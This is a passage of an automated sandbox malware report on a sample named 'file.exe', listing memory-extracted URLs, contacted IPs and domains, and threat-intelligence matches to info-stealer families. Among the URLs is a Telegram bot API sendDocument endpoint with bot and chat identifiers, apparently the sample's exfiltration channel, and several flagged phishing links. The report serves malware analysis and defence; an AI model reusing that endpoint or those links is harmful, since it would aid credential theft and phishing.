https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	file.exe, 00000001.00000002.2142886417.00000214FEAD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106756868.00000214FEA98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118042942.00000214FEACB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109007109.00000214FEAC6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2128059773.00000214FF24C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2143783583.00000214FF24C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2128304849.00000214FEACF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126900082.00000214FF249000.00000004.00000020.00020000.00000000.sdmp	false	high
http://tools.ietf.org/html/draft-hixie-thewebsocketprotocol-76	file.exe, 00000001.00000003.2123530256.00000214FF637000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122134839.0000021481AAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105574677.00000214FF5CA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2140592282.0000021481BD1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2139836782.0000021481AAF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120640970.0000021481A9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107513071.00000214FF614000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109613829.00000214FF630000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107003138.00000214FF60E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://docs.python.org/3/library/multiprocessing.html	file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1718518630.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFAA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2132122047.00000214FFAD0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1720121317.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2127810264.00000214FFAC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2116526106.00000214FFAC0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/pypa/setuptools/issues/417#issuecomment-392298401	file.exe, 00000001.00000002.2138569145.0000021481610000.00000004.00001000.00020000.00000000.sdmp	false	high
https://packaging.python.org/en/latest/specifications/core-metadata/#core-metadata	file.exe, 00000001.00000002.2138569145.0000021481610000.00000004.00001000.00020000.00000000.sdmp	false	high
http://crl.securetrust.com/STCA.crl	file.exe, 00000001.00000003.2130648026.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2147473239.00000214FFD37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2101914863.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2136299831.00000214FFD25000.00000004.00000020.00020000.00000000.sdmp	false	high
http://wwwsearch.sf.net/):	file.exe, 00000001.00000003.1722215740.00000214FFC97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104230165.00000214FFC8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117528067.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107937864.00000214FFC8E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2135904756.00000214FFCA3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103312630.00000214FFC7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118761418.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122249938.00000214FFC94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2147341704.00000214FFCA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111847758.00000214FFC91000.00000004.00000020.00020000.00000000.sdmp	false	high
http://csrc.nist.gov/publications/nistpubs/80	file.exe, 00000001.00000002.2139722360.0000021481A93000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/python/importlib_metadata/wiki/Development-Methodology	file.exe, 00000001.00000002.2147630243.00000214FFD80000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.1714479771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	file.exe, 00000001.00000003.2130839175.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146114251.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFAA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121594121.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111364823.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126122145.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.accv.es/legislacion_c.htm	file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://tools.ietf.org/html/rfc6125#section-6.4.3	file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	false	high
http://crl.xrampsecurity.com/XGCA.crl0	file.exe, 00000001.00000003.2136050933.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117277157.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146285438.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2116526106.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bugs.python.org/issue44497.	file.exe, 00000001.00000002.2138569145.0000021481610000.00000004.00001000.00020000.00000000.sdmp	false	high
http://tools.ietf.org/html/rfc5234	file.exe, 00000001.00000003.2108127631.0000021481B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2140226897.0000021481B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2141476897.00000214824F8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122464311.0000021481B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2123285656.0000021481B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2141476897.0000021482498000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102396310.0000021481B51000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.cert.fnmt.es/dpcs/	file.exe, 00000001.00000003.2119974551.00000214FFA51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114067886.00000214FFD3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2101914863.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	false	high
https://setuptools.pypa.io/en/latest/pkg_resources.html	file.exe, 00000001.00000003.1709784973.00000214FF9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1709736637.00000214FF731000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1709822636.00000214FF732000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1709627369.00000214FF9C0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://google.com/mail	file.exe, 00000001.00000003.1721954365.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146954612.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117773640.00000214FF9A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104762804.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2113497364.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2116867283.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2125420814.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://img.shields.io/pypi/v/importlib_metadata.svg	file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://packaging.python.org/specifications/entry-points/	file.exe, 00000001.00000002.2138569145.0000021481610000.00000004.00001000.00020000.00000000.sdmp	false	high
http://www.accv.es00	file.exe, 00000001.00000003.2130839175.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146114251.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFAA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121594121.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111364823.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126122145.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.python.org/psf/license/)	file.exe, 00000001.00000002.2150063973.00007FFDFB668000.00000002.00000001.01000000.00000004.sdmp	false	high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	file.exe, 00000001.00000003.2126900082.00000214FF249000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.rfc-editor.org/info/rfc7253	file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2139780645.0000021481AA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120640970.0000021481A9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot8095725853/sendDocument?chat_id=7027613045%3AAAGX3rPO-1UHB195if6JIXakjYP	file.exe, 00000001.00000002.2141249438.0000021482314000.00000004.00001000.00020000.00000000.sdmp	false	high
http://csrc.nist.gov/publications/nistpubs/800-38C/SP800-38C.pdf	file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp	false	high
https://foss.heptapod.net/pypy/pypy/-/issues/3539	file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	false	high
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2145807414.00000214FF9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122323104.00000214FF9BD000.00000004.00000020.00020000.00000000.sdmp	false	high
http://google.com/	file.exe, 00000001.00000003.2119974551.00000214FFA51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1721880040.00000214FFA49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1720121317.00000214FFA1B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1721247684.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121180025.00000214FFA54000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	false	high
https://mahler:8092/site-updates.py	file.exe, 00000001.00000003.1715930556.00000214FF648000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104354364.00000214FF67F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107596886.00000214FF680000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1719024425.00000214FF637000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.securetrust.com/SGCA.crl	file.exe, 00000001.00000003.2130648026.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2147473239.00000214FFD37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2101914863.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2136299831.00000214FFD25000.00000004.00000020.00020000.00000000.sdmp	false	high
https://tools.ietf.org/html/rfc7231#section-4.3.6)	file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107105975.00000214FF741000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2108261439.00000214FF742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110787152.00000214FF756000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107053201.00000214FF72E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104292483.00000214FF72D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717951813.00000214FF74A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109211449.00000214FF74F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1715930556.00000214FF74A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://tools.ietf.org/html/rfc5869	file.exe, 00000001.00000003.2123857047.0000021481A51000.00000004.00000020.00020000.00000000.sdmp	false	high
http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html	file.exe, 00000001.00000003.2104230165.00000214FFC8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117528067.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107937864.00000214FFC8E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120640970.0000021481A9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103312630.00000214FFC7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118761418.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122323104.00000214FF9BD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122249938.00000214FFC94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A99000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111847758.00000214FFC91000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/pypa/wheel/issues	file.exe, 00000000.00000003.1697117929.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
20.25.227.174	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	s-part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.189.173.8	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.106	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
23.44.203.19	unknown	United States	20940	AKAMAI-ASN1EU	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
104.26.8.59	api.myip.com	United States	13335	CLOUDFLARENETUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.65.202	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560507
Start date and time:	2024-11-21 22:08:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	2
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@72/400@24/15
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 192.229.221.95, 172.217.21.35, 172.217.17.46, 64.233.165.84, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.61.93, 23.32.239.18, 23.32.239.56, 2.16.158.171, 2.16.158.88, 2.16.158.90, 2.16.158.80, 2.16.158.169, 2.16.158.81, 2.16.158.75, 2.16.158.170, 2.16.158.96, 2.19.198.17, 23.32.239.58, 2.16.158.184, 2.16.158.97, 2.16.158.186, 2.16.158.185, 2.16.158.176, 2.16.158.187, 104.126.36.104, 104.126.36.99, 104.126.36.97, 104.126.36.113, 104.126.36.105, 104.126.36.91, 104.126.36.90, 104.126.36.96, 104.126.36.107, 2.16.158.72, 2.16.158.56, 2.16.158.74, 2.16.158.51, 2.16.158.58, 2.16.158.50, 2.16.158.43, 13.74.129.1, 204.79.197.237, 13.107.21.237, 13.87.96.169, 2.16.158.34, 142.250.65.163, 142.251.32.99
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, edge-microsoft-com.dual-a-0036.a-msedge.net, a
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.25.227.174	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	FRSSDE.exe	Get hash	malicious	Remcos	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM
20.189.173.8	96c27caf-3816-d26f-4af5-19e1d76e6c15.eml	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	Untitled.msg	Get hash	malicious	Phisher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	https://tcmedcenter-my.sharepoint.com/:f:/g/personal/jessica_larson_tcmedcenter_org/Ek1X93Tsfp5KoiWqKbJ_ocQBqlE2wGVJqWkJh4H7mn0vuw?e=Yni2o7	Get hash	malicious	Unknown	Browse
	https://forms.office.com/Pages/ResponsePage.aspx?id=4mPIUn7HtEOifSf_jkD9akHPEdQOqpJDoTs5yuUf8txUMEFQTE42TU03SUJBSU84VTY3MEtFR1JaUS4u	Get hash	malicious	HTMLPhisher	Browse
	Axactor Microsoft - Introduksjonsm#U00f8te.msg	Get hash	malicious	EvilProxy	Browse
	https://url.uk.m.mimecastprotect.com/s/879wCp9pjInpwnDHPf7CG_Zsy?domain=aerographicsut-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse
	https://file365-cloud.s3.eu-west-2.amazonaws.com/ML+Payment+05323.pdf	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.myip.com	file.exe	Get hash	malicious	LummaC, Ailurophile Stealer, Amadey, LummaC Stealer, Stealc	Browse	104.26.9.59
	file.exe	Get hash	malicious	Ailurophile Stealer	Browse	104.26.8.59
	installer.exe	Get hash	malicious	Unknown	Browse	172.67.75.163
	installer.exe	Get hash	malicious	Unknown	Browse	172.67.75.163
	installer.exe	Get hash	malicious	Unknown	Browse	172.67.75.163
	installer.exe	Get hash	malicious	Unknown	Browse	104.26.8.59
	ZoomInstaller.exe	Get hash	malicious	Unknown	Browse	104.26.9.59
	ZoomInstaller.exe	Get hash	malicious	Unknown	Browse	104.26.9.59
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer	Browse	104.26.9.59
	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse	104.26.8.59
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	1732215862df90b858ebf82740ce134fb5917becbb3385f4dfc36cbe28d6e90709df01f065739.dat-decoded.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	172.64.41.3
	test2.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
